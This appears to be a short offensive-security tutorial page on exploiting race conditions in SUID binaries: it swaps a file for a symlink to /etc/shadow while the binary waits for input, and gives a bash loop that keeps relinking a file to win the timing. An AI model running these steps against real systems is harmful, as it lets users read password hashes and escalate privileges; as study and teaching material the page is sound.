Binary Exploitation with Race Conditions

Last modified: 2023-06-19

Reverse Engineering

Abuse User Input Method

If the SUID binary waits for our input the function like getchar or scanf, we can manipulate the state for something while the binary is waiting for our input.

puts("Enter: ");
getchar();

Here is an example for reading arbitrary file which cannot be read by current user.

Exploitation

Assume the binary reads contents of the file which is passed in the argument as below.

./suid_binary_to_read_file <file_path>

First off, create arbitrary file to read, then execute the binary with passing the file.
The binary waits for our input as below. We should not enter anything at the moment.

echo test > /tmp/test.txt
./suid_binary_to_read_file /tmp/test.txt

# Result
Enter: 

While in this state, open another terminal.
Remove the original file, then create a symbolic link for desired file e.g. /etc/shadow. Note that this file should be the same name as the original one (/tmp/test.txt) to allow the binary to read the contents of the file passed when executing.

rm /tmp/test.txt
ln -s /etc/shadow /tmp/test.txt

Now in the first terminal, enter some input. We may get the contents of the desired file.


Abuse Sleep Method

If the SUID binary pauses slightly in the middle of processing, we can exploit the little bit of time.
First, create a shell script for leading race conditions.
Assume we want to read the contents of /etc/shadow.

#!/usr/bin/env bash

while true
do
	touch test
	ln -s -f /etc/shadow /tmp/test
	rm test
done

Then execute the script.

chmod +x exploit.sh
./exploit.sh

In another terminal, execute the binary with passing the symbolic link file in our shell script above.

./suid_binary_to_read_file /tmp/test

Since our shell script keep creating a symbolic link and removing it, if the timing is right, we can read the contents of the linked file in the process.
So try again and again until you succeed. In time we should be able to read the desired file.